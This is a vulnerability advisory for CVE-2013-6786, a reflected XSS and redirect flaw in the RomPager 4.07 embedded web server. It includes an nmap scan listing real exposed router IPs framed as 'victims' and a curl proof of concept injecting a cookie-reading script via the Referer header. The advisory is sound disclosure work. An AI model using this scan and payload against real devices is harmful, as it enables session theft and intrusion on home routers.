Identifiers:

CVE-2013-6786

Product description:

The RomPager is a Web Server widelly used in embedded devices. More information can be found in Allegro Software webpage.

Vulnerable releases:

Product Name: RomPager
Vendor: Allegro
Version: 4.07

Affected devices:

- ZyXEL P660HW-D1 (Used in examples)
- Huawei MT882 (Not tested)
- Sitecom WL-174 (Not tested)
- TP-LINK TD-8816
- D-Link DSL-2640R
- D-Link DSL-2641R

It is very easy to find victims whose server is exposed to the net:

```
$ sudo nmap --open -sS -sV -T4 186.30.224.1/24 -p 80 -oG - | grep 'open' | grep RomPager

Host: 186.30.224.11 (adsl186-30224011.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.15 (adsl186-30224015.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.18 (adsl186-30224018.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.25 (adsl186-30224025.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.29 (adsl186-30224029.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.30 (adsl186-30224030.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.31 (adsl186-30224031.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.37 (adsl186-30224037.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.41 (adsl186-30224041.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

Host: 186.30.224.42 (adsl186-30224042.sta.etb.net.co)Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/

…
```

Vulnerability overview:

URL redirection and reflected XSS:

- If *Referer* header in a request to a non existing page, data can be injected into the resulting 404 page. This includes linking to an untrusted website and XSS injection.
- No possible mitigation is known.

```
$ curl -v http://192.168.1.1/nonexistingdata -H "Referer:
http://google.com/\"><script>alert(document.cookie)</script&gt;"
* About to connect() to 192.168.1.1 port 80 (#0)
*   Trying 192.168.1.1...
* Adding handle: conn: 0x196c660
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x196c660) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET /nonexistingdata HTTP/1.1
> User-Agent: curl/7.31.0
> Host: 192.168.1.1
> Accept: */*
> Referer: http://google.com/"><script>alert(document.cookie)</script&gt;
>
< HTTP/1.1 404 Not Found
< Content-Type: text/html
< Transfer-Encoding: chunked
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< Connection: close
< EXT:
<
<html>
<head>
<title>Object Not Found</title></head><body>
<h1>Object Not Found</h1>The requested URL '/nonexistingdata' was not
found on the RomPager server.<p>Return to <A
HREF="http://google.com/"><script>alert(document.cookie)</script&gt">last
page</A><p>
* Closing connection 0
</body></html>
```

Solution:

Update RomPager to version 4.51.

Credits:

The vulnerability was discovered by Antonio Vázquez Blanco
Mail: antoniovazquezblanco@gmail.com
Twitter: @antonvazquezb

Thanks to Rafael Palacios Hielscher and ICAI for their support and help.

Time line:

July 2013 – Discovered the vulnerability.
30 October 2013 – Reported vulnerability to INTECO-CERT.
31 October 2013 – Processing ticket is given.
31 October 2013 – INTECO contacts the manufacturer.
6 November 2013 – Allegro says it is fixed. Asked MITRE for a CVE ID.
12 November 2013 – CVE ID assigned.